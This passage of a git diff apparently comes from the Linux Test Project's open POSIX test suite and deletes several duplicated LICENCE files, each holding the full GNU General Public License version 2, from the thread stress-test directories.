-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_exit/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_exit/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_exit/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_getschedparam/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_kill/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_kill/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_kill/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
